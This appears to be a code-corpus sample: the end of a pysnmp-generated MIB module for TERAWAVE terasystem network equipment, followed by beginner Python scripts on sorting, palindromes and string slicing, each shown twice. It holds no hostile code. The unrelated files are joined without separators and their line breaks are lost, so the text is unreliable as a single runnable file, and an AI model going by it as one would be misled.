teraSlaveSlotNumber.setDescription('') tera_system_ip_group_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 7)) tera_system_ip_address = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 1), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemIPAddress.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemIPAddress.setDescription('') tera_system_ip_net_mask = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 2), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemIPNetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemIPNetMask.setDescription('') tera_system_ip_gateway = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 3), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemIPGateway.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemIPGateway.setDescription('') tera_ne_slot_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 9)) if mibBuilder.loadTexts: teraNESlotTable.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotTable.setDescription(' table teraNESlotTable') tera_ne_slot_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraPonIndex'), (0, 'TERAWAVE-terasystem-MIB', 'teraEventSlot')) if mibBuilder.loadTexts: teraNESlotTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotTableEntry.setDescription(' table entry teraNESlotTableEntry ') tera_ne_slot_unit_type = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(-1, 1000))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNESlotUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotUnitType.setDescription('') tera_ne_slot_unit_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('provision', 1), ('none', 2), ('is', 3), ('moos', 4), ('reset', 5), ('trunk', 6)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNESlotUnitAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotUnitAdminStatus.setDescription('') tera_w_link_ip_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 10)) if mibBuilder.loadTexts: teraWLinkIPTable.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPTable.setDescription(' table teraWLinkIPTable') tera_w_link_ip_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraPonIndex')) if mibBuilder.loadTexts: teraWLinkIPTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPTableEntry.setDescription(' table entry teraWLinkIPTableEntry ') tera_w_link_ip_address = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 1), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPAddress.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPAddress.setDescription('') tera_w_link_ip_net_mask = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 2), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPNetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPNetMask.setDescription('') tera_w_link_ip_gateway = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 3), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPGateway.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPGateway.setDescription('') tera_w_link_ip_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('set', 1), ('delete', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPStatus.setDescription('') tera_ne_misc_table_group = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 11)) tera_ne_misc_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1)) tera_ne_level2_slot = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 4))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNELevel2Slot.setStatus('mandatory') if mibBuilder.loadTexts: teraNELevel2Slot.setDescription('') tera_ne_zip_system = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('no', 1), ('zip-active', 2), ('zip-stby', 3), ('zip-all', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNEZipSystem.setStatus('mandatory') if mibBuilder.loadTexts: teraNEZipSystem.setDescription('') tera_ne_reset = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('no', 1), ('reset', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNEReset.setStatus('mandatory') if mibBuilder.loadTexts: teraNEReset.setDescription('') tera_ne_time_zone = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 4), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNETimeZone.setStatus('mandatory') if mibBuilder.loadTexts: teraNETimeZone.setDescription('') tera_ne_inventory_override = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('disable', 1), ('enable', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNEInventoryOverride.setStatus('mandatory') if mibBuilder.loadTexts: teraNEInventoryOverride.setDescription('') tera_ne_serial_port_type = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ppp', 1), ('dbshell', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNESerialPortType.setStatus('mandatory') if mibBuilder.loadTexts: teraNESerialPortType.setDescription('') tera_sys_object_id_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 12)) tera_tw300 = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 1), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW300.setStatus('mandatory') if mibBuilder.loadTexts: teraTW300.setDescription('') tera_tw600 = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 2), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW600.setStatus('mandatory') if mibBuilder.loadTexts: teraTW600.setDescription('') tera_tw1600 = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 3), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW1600.setStatus('mandatory') if mibBuilder.loadTexts: teraTW1600.setDescription('') tera_tw100 = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 4), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW100.setStatus('mandatory') if mibBuilder.loadTexts: teraTW100.setDescription('') tera_tw150_rtatm = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 5), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW150RTATM.setStatus('mandatory') if mibBuilder.loadTexts: teraTW150RTATM.setDescription('') tera_tw150_rttdm = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 6), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraTW150RTTDM.setStatus('mandatory') if mibBuilder.loadTexts: teraTW150RTTDM.setDescription('') tera_oat = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 7), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraOAT.setStatus('mandatory') if mibBuilder.loadTexts: teraOAT.setDescription('') tera_nei_dx_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 13)) if mibBuilder.loadTexts: teraNEIDxTable.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxTable.setDescription(' table teraNEIDxTable') tera_nei_dx_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'ifIndex')) if mibBuilder.loadTexts: teraNEIDxTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxTableEntry.setDescription(' table entry teraNEIDxTableEntry ') tera_nei_dx_slot_level1 = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 16))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNEIDxSlotLevel1.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxSlotLevel1.setDescription('') tera_nei_dx_pon_id = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 256))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNEIDxPonID.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxPonID.setDescription('') tera_w_link_ip_range_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 14)) if mibBuilder.loadTexts: teraWLinkIPRangeTable.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeTable.setDescription(' table teraWLinkIPRangeTable') tera_w_link_ip_range_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'ifIndex')) if mibBuilder.loadTexts: teraWLinkIPRangeTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeTableEntry.setDescription(' table entry teraWLinkIPRangeTableEntry ') tera_w_link_ip_range_start = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 1), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPRangeStart.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeStart.setDescription('') tera_w_link_ip_range_end = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 2), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPRangeEnd.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeEnd.setDescription('') tera_w_link_ip_range_row_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ok', 1), ('delete', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraWLinkIPRangeRowStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeRowStatus.setDescription('') tera_secondary_master_slave_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 16)) tera_secondary_master_slot_number = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 16, 1), integer32().subtype(subtypeSpec=value_range_constraint(0, 7))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSecondaryMasterSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraSecondaryMasterSlotNumber.setDescription('') tera_secondary_slave_slot_number = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 16, 2), integer32().subtype(subtypeSpec=value_range_constraint(0, 7))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSecondarySlaveSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraSecondarySlaveSlotNumber.setDescription('') tera_master_slave_state_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 17)) if mibBuilder.loadTexts: teraMasterSlaveStateTable.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateTable.setDescription(' table teraMasterSlaveStateTable') tera_master_slave_state_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraMasterSlaveStateIndex')) if mibBuilder.loadTexts: teraMasterSlaveStateTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateTableEntry.setDescription(' table entry teraMasterSlaveStateTableEntry ') tera_master_slave_state_index = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 2))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraMasterSlaveStateIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateIndex.setDescription('') tera_master_state = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2))).clone(namedValues=named_values(('unknown', 0), ('nobody', 1), ('master', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraMasterState.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterState.setDescription('') tera_slave_state = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 3, 4, 5))).clone(namedValues=named_values(('unknown', 0), ('nobody', 1), ('slave', 3), ('slaveActive', 4), ('slaveFail', 5)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSlaveState.setStatus('mandatory') if mibBuilder.loadTexts: teraSlaveState.setDescription('') tera_ppp_baud_rate_tbl = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 20)) tera_ppp_baud_rate_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1)) tera_ppp_admin_baud_rate = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=named_values(('baud2400', 0), ('baud4800', 1), ('baud9600', 2), ('baud19200', 3), ('baud38400', 4), ('baud57600', 5), ('baud115200', 6), ('baud230400', 7)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraPPPAdminBaudRate.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPAdminBaudRate.setDescription('') tera_ppp_oper_baud_rate = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=named_values(('baud2400', 0), ('baud4800', 1), ('baud9600', 2), ('baud19200', 3), ('baud38400', 4), ('baud57600', 5), ('baud115200', 6), ('baud230400', 7)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraPPPOperBaudRate.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPOperBaudRate.setDescription('') tera_ppp_admin_flow_control = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2))).clone(namedValues=named_values(('none', 0), ('xon-Xoff', 1), ('rTS-CTS', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraPPPAdminFlowControl.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPAdminFlowControl.setDescription('') tera_ppp_oper_flow_control = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2))).clone(namedValues=named_values(('none', 0), ('xon-Xoff', 1), ('rTS-CTS', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraPPPOperFlowControl.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPOperFlowControl.setDescription('') tera_system_nat_group_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 24)) tera_system_nat_subnet_address = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 24, 1), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNATSubnetAddress.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNATSubnetAddress.setDescription('') tera_system_nat_subnet_mask = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 24, 2), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNATSubnetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNATSubnetMask.setDescription('') tera_system_pcu_num_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 25)) tera_system_num_of_pcu = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 25, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1))).clone(namedValues=named_values(('pCU4', 0), ('pCU5', 1)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNumOfPCU.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNumOfPCU.setDescription('') tera_installed_system_info_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 26)) if mibBuilder.loadTexts: teraInstalledSystemInfoTable.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemInfoTable.setDescription(' table teraInstalledSystemInfoTable') tera_installed_system_info_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraPonIndex')) if mibBuilder.loadTexts: teraInstalledSystemInfoTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemInfoTableEntry.setDescription(' table entry teraInstalledSystemInfoTableEntry ') tera_installed_system_name = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 1), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraInstalledSystemName.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemName.setDescription('') tera_installed_system_location = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 2), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraInstalledSystemLocation.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemLocation.setDescription('') tera_installed_ne_type = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5, 7))).clone(namedValues=named_values(('unknown', 0), ('tw300', 1), ('tw600', 2), ('tw1600', 3), ('tw100', 4), ('tw150RT', 5), ('oat', 7)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraInstalledNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledNEType.setDescription('') tera_craft_interface_group = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 28)) tera_craft_interface_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1)) tera_craft_port_stat = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enable', 1), ('disable', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraCraftPortStat.setStatus('mandatory') if mibBuilder.loadTexts: teraCraftPortStat.setDescription('') tera_craft_default_addr_stat = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enable', 1), ('disable', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraCraftDefaultAddrStat.setStatus('mandatory') if mibBuilder.loadTexts: teraCraftDefaultAddrStat.setDescription('') tera_snmp_state = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ready', 1), ('notReady', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSNMPState.setStatus('mandatory') if mibBuilder.loadTexts: teraSNMPState.setDescription('') mibBuilder.exportSymbols('TERAWAVE-terasystem-MIB', teraClockSyncActiveNIMSlot=teraClockSyncActiveNIMSlot, teraCommunityGroupTable=teraCommunityGroupTable, teraLogMsgNumber=teraLogMsgNumber, teraSystemInstallTableEntry=teraSystemInstallTableEntry, teraNEModel=teraNEModel, teraLogNumberOfParams=teraLogNumberOfParams, teraNEInventoryOverride=teraNEInventoryOverride, teraWLinkIPGateway=teraWLinkIPGateway, teraNERangingCode=teraNERangingCode, teraLogNumber=teraLogNumber, teraClockSyncRevertive=teraClockSyncRevertive, teraNEType=teraNEType, teraWLinkIPRangeEnd=teraWLinkIPRangeEnd, teraLogFilterBySize=teraLogFilterBySize, teraSystemNECurrentDistance=teraSystemNECurrentDistance, teraNESlotUnitType=teraNESlotUnitType, teraNESerialPortType=teraNESerialPortType, teraSystemNEProvisionAdminStatus=teraSystemNEProvisionAdminStatus, teraClockSyncTable=teraClockSyncTable, teraAllLogsFilterGroupEntry=teraAllLogsFilterGroupEntry, teraInstallUnitAdminStatus=teraInstallUnitAdminStatus, teraInstallEquippedUnitType=teraInstallEquippedUnitType, teraNEInfoTableGroup=teraNEInfoTableGroup, teraLogTable=teraLogTable, teraLogGroup=teraLogGroup, teraNESlotTable=teraNESlotTable, teraPublicCommunity=teraPublicCommunity, teraNEZipSystem=teraNEZipSystem, teraPPPAdminBaudRate=teraPPPAdminBaudRate, teraNEIDxSlotLevel1=teraNEIDxSlotLevel1, teraMasterSlaveTable=teraMasterSlaveTable, teraPPPAdminFlowControl=teraPPPAdminFlowControl, teraSystemNEMaxLatency=teraSystemNEMaxLatency, teraCraftPortStat=teraCraftPortStat, teraInstallUnitOperStatus=teraInstallUnitOperStatus, teraSecondarySlaveSlotNumber=teraSecondarySlaveSlotNumber, teraPPPBaudRateTbl=teraPPPBaudRateTbl, teraNESWVersion=teraNESWVersion, teraPPPBaudRateTable=teraPPPBaudRateTable, teraLogMsgIndex=teraLogMsgIndex, teraClockSyncSecondaryStatus=teraClockSyncSecondaryStatus, teraWLinkIPRangeRowStatus=teraWLinkIPRangeRowStatus, teraNEIDxTable=teraNEIDxTable, teraWLinkIPNetMask=teraWLinkIPNetMask, teraSystemNERangingCode=teraSystemNERangingCode, teraTestCommunity=teraTestCommunity, teraSystemNATGroupTable=teraSystemNATGroupTable, teraSystemPCUNumTable=teraSystemPCUNumTable, teraCraftInterfaceGroup=teraCraftInterfaceGroup, teraSystemNumOfPCU=teraSystemNumOfPCU, teraSystemNEOperStatus=teraSystemNEOperStatus, teraSystemIPNetMask=teraSystemIPNetMask, teraInstallUnitRevision=teraInstallUnitRevision, teraMasterSlotNumber=teraMasterSlotNumber, teraClockSyncPrimarySource=teraClockSyncPrimarySource, teraCraftDefaultAddrStat=teraCraftDefaultAddrStat, teraInstalledSystemInfoTableEntry=teraInstalledSystemInfoTableEntry, teraInstallUnitName=teraInstallUnitName, teraSystemNEType=teraSystemNEType, teraInstallUnitType=teraInstallUnitType, teraLogStatus=teraLogStatus, teraOAT=teraOAT, teraMasterSlaveStateTableEntry=teraMasterSlaveStateTableEntry, teraWLinkIPTableEntry=teraWLinkIPTableEntry, teraSystem=teraSystem, teraLogFilterByNumber=teraLogFilterByNumber, teraTW1600=teraTW1600, teraClockSyncPrimaryNIMSlot=teraClockSyncPrimaryNIMSlot, teraClockSyncActiveStatus=teraClockSyncActiveStatus, teraSystemNEInventoryOverride=teraSystemNEInventoryOverride, teraAllLogsFilterGroup=teraAllLogsFilterGroup, teraLogParams=teraLogParams, teraWLinkIPTable=teraWLinkIPTable, teraWLinkIPRangeTableEntry=teraWLinkIPRangeTableEntry, teraSystemNEEocMaxBandWidth=teraSystemNEEocMaxBandWidth, terawave=terawave, teraSystemIPGroupTable=teraSystemIPGroupTable, teraLogNumberTableEntry=teraLogNumberTableEntry, teraLogFilterBySeverity=teraLogFilterBySeverity, teraWLinkIPAddress=teraWLinkIPAddress, teraSystemNERanging=teraSystemNERanging, teraInstallUnitSerial=teraInstallUnitSerial, teraInstalledNEType=teraInstalledNEType, teraInstallUnitSWVersion=teraInstallUnitSWVersion, teraInstalledSystemInfoTable=teraInstalledSystemInfoTable, teraSlotInstallTable=teraSlotInstallTable, teraSystemNEAponMaxLength=teraSystemNEAponMaxLength, teraClockSyncSecondaryNIMIfIndex=teraClockSyncSecondaryNIMIfIndex, teraSystemCurrTime=teraSystemCurrTime, teraClockSyncActiveSource=teraClockSyncActiveSource, teraClockSyncOperStatus=teraClockSyncOperStatus, teraNELevel2Slot=teraNELevel2Slot, teraMasterSlaveStateTable=teraMasterSlaveStateTable, teraAdminCommunity=teraAdminCommunity, teraWLinkIPRangeTable=teraWLinkIPRangeTable, teraSystemNATSubnetMask=teraSystemNATSubnetMask, teraSysObjectIdTable=teraSysObjectIdTable, teraTW100=teraTW100, teraSecondaryMasterSlaveTable=teraSecondaryMasterSlaveTable, teraSystemNATSubnetAddress=teraSystemNATSubnetAddress, teraTW150RTTDM=teraTW150RTTDM, teraTW300=teraTW300, teraInstalledSystemLocation=teraInstalledSystemLocation, teraNEReset=teraNEReset, teraPPPOperBaudRate=teraPPPOperBaudRate, teraSystemIPAddress=teraSystemIPAddress, teraNESlotTableEntry=teraNESlotTableEntry, teraNESlotUnitAdminStatus=teraNESlotUnitAdminStatus, teraTW600=teraTW600, teraNESWRevision=teraNESWRevision, teraInstallUnitMfgData=teraInstallUnitMfgData, teraSlotInstallTableEntry=teraSlotInstallTableEntry, teraLogTableEntry=teraLogTableEntry, teraSlotInstTablePar=teraSlotInstTablePar, teraSystemTime=teraSystemTime, teraGETCommunity=teraGETCommunity, teraSystemInstallTable=teraSystemInstallTable, teraClockSyncSecondaryNIMSlot=teraClockSyncSecondaryNIMSlot, teraClockSyncPrimaryNIMIfIndex=teraClockSyncPrimaryNIMIfIndex, teraNETimeZone=teraNETimeZone, teraLogNumberStatus=teraLogNumberStatus, teraNEIDxPonID=teraNEIDxPonID, teraClockSyncLastSource=teraClockSyncLastSource, teraLogClear=teraLogClear, teraSlaveState=teraSlaveState, teraMasterState=teraMasterState, teraCraftInterfaceTable=teraCraftInterfaceTable, teraWLinkIPStatus=teraWLinkIPStatus, teraClockSyncPrimaryStatus=teraClockSyncPrimaryStatus, teraTW150RTATM=teraTW150RTATM, teraMasterSlaveStateIndex=teraMasterSlaveStateIndex, teraPPPOperFlowControl=teraPPPOperFlowControl, teraInstallSlotNumber=teraInstallSlotNumber, teraInstalledSystemName=teraInstalledSystemName, teraNEMiscTableGroup=teraNEMiscTableGroup, teraSETCommunity=teraSETCommunity, teraClockSyncSecondarySource=teraClockSyncSecondarySource, teraClockSyncActiveNIMIfIndex=teraClockSyncActiveNIMIfIndex, teraSystemNEName=teraSystemNEName, teraSystemNEEocMinBandWidth=teraSystemNEEocMinBandWidth, teraNEMiscTable=teraNEMiscTable, teraSecondaryMasterSlotNumber=teraSecondaryMasterSlotNumber, teraSlaveSlotNumber=teraSlaveSlotNumber, teraLogNumberTable=teraLogNumberTable, teraLogNumberDescr=teraLogNumberDescr, teraNEIDxTableEntry=teraNEIDxTableEntry, teraWLinkIPRangeStart=teraWLinkIPRangeStart, teraNEInfoTable=teraNEInfoTable, teraLogFilterByTask=teraLogFilterByTask, teraSNMPState=teraSNMPState, teraSystemIPGateway=teraSystemIPGateway)
#!/usr/bin/python # -*- coding:utf-8 -*- #Filename: soreted_iter.py colors = [ 'red', 'green', 'blue', 'yellow' ] for color in sorted(colors): print (color) # >>> blue # green # red # yellow for color in sorted(colors, reverse=True): print (color) # >>> yellow # red # green # blue # >>> def compare_length(c1, c2): if len(c1) < len(c2): return -1 if len(c1) > len(c2): return 1 return 0 # print sorted(colors, cmp=compare_length) print (sorted(colors, key=len)) # >>> ['red', 'blue', 'green', 'yellow']
colors = ['red', 'green', 'blue', 'yellow'] for color in sorted(colors): print(color) for color in sorted(colors, reverse=True): print(color) def compare_length(c1, c2): if len(c1) < len(c2): return -1 if len(c1) > len(c2): return 1 return 0 print(sorted(colors, key=len))
#Ejercicio 2 palabra=input ("Escribe una palabra y vamos a analizar si es polindroma o no: ") p=len(palabra) capicua="" while p>0: p=p-1 capicua=capicua+palabra[p] #Concateno las letras una por una y las guardo if palabra ==capicua: print("La palabra escogida es polindroma") if palabra!= capicua: print("La palabra escogida no es polindroma")
palabra = input('Escribe una palabra y vamos a analizar si es polindroma o no: ') p = len(palabra) capicua = '' while p > 0: p = p - 1 capicua = capicua + palabra[p] if palabra == capicua: print('La palabra escogida es polindroma') if palabra != capicua: print('La palabra escogida no es polindroma')
print("Hello World") # The basics name = "joey" age = 27 print(name + str(age)) testList = [0,1,2] testList.append(3) testList.append(4) for member in testList: print(member) for index,member in enumerate(testList): print("Index: " + str(index) + " item: " + str(member)) # List Combining list1 = [1,3,5,7] list2 = [2,4,6,8] print(list1 + list2) # String fun mystring = "Hello World, I am a string!" print(mystring[:4]) print(mystring[4:]) print(mystring[2:5]) print(mystring[-4:]) print(mystring[::2]) # skip every second character print(mystring[::-1]) # reverse print(mystring.split(" "))
